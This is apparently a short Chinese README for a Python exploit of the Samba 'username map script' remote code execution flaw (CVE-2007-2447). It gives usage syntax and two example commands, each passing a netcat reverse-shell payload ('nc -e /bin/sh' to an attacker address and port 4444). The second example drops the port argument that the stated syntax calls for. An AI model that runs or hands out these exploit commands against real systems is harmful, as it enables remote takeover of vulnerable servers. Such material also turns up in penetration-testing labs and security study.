针对 Samba 3.0.20 < 3.0.25rc3(CVE-2007-2447)的“Username”映射脚本 RCE 漏洞利用的 Python 实现。
python3 smbExploit.py <IP> <PORT> <PAYLOAD>
示例:
python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444'
python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444'